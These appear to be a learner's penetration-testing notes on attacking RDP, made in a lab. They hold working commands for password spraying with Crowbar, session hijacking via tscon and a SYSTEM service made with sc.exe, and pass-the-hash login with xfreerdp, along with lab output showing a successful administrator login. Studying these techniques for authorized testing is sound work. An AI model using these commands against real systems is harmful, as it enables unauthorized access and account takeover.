5. Attacking RDP

Common method is password guessing. Possible to login to RDP without a password if misconfigured.

One caveat on password guessing against Windows instances is that you should consider the client's password policy. In many cases, a user account will be locked or disabled after a certain number of failed login attempts. In this case, we can perform a specific password guessing technique called `Password Spraying`. This technique works by attempting a single password for many usernames before trying another password, being careful to avoid account lockout.

https://github.com/galkan/crowbar Crowbar used to password spray against rdp.

stejwes@htb[/htb]# cat usernames.txt 

root
test
user
guest
admin
administrator
stejwes@htb[/htb]# crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'

2022-04-07 15:35:50 START
2022-04-07 15:35:50 Crowbar v0.4.1
2022-04-07 15:35:50 Trying 192.168.220.142:3389
2022-04-07 15:35:52 RDP-SUCCESS : 192.168.220.142:3389 - administrator:password123
2022-04-07 15:35:52 STOP

Hydra also works.

RDP session hijacking

As shown in the example below, we are logged in as the user juurena (UserID = 2) who has Administrator privileges. Our goal is to hijack the user lewen (User ID = 4), who is also logged in via RDP.

![](/img/Pasted image 20240820234233.png|600)

To impersonate a user without their password we need to have SYSTEM priv and use tscon.exe windows binary.

 It works by specifying which SESSION ID (4 for the lewen session in our example) we would like to connect to which session name (rdp-tcp#13, which is our current session). So, for example, the following command will open a new console as the specified SESSION_ID within our current RDP session:

tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}

With local admin privileges we can use several methods to obtain SYSTEM privileges such as PsExec or Mimikatz. ![](/img/Pasted image 20240820234509.png) Simple method - create a windows service that, by default, runs as Local System and will execute any binary with SYSTEM privileges. We use sc.exe microsoft binary. Specify service name - sessionhijack and binpath - which is command we want to execute.

C:\htb> query user

 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
>juurena               rdp-tcp#13          1  Active          7  8/25/2021 1:23 AM
 lewen                 rdp-tcp#14          2  Active          *  8/25/2021 1:28 AM

C:\htb> sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"

[SC] CreateService SUCCESS

To run the command, start the sessionhijack service:

net start sessionhijack

Once the service is started:

RDP PassTheHash

ref. [[10. PassTheHash#pass hash with evil-winrm / RDP]]

xfreerdp /v:192.168.220.152 /u:lewen /pth:300FF5E89EF33F83A8146C10F5AB9BB9

Latest RDP vulns

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-0708 This vulnerability is known as BlueKeep. vulnerability occurs after initializing the connection when basic settings are exchanged between client and server. This is known as a Use-After-Free (UAF) technique that uses freed memory to execute arbitrary code. After the function has been exploited and the memory has been freed, data is written to the kernel, which allows us to overwrite the kernel memory.

 Note: This is a flaw that we will likely run into during our penetration tests, but it can cause system instability, including a "blue screen of death (BSoD)," and we should be careful before using the associated exploit. If in doubt, it's best to first speak with our client so they understand the risks and then decide if they would like us to run the exploit or not.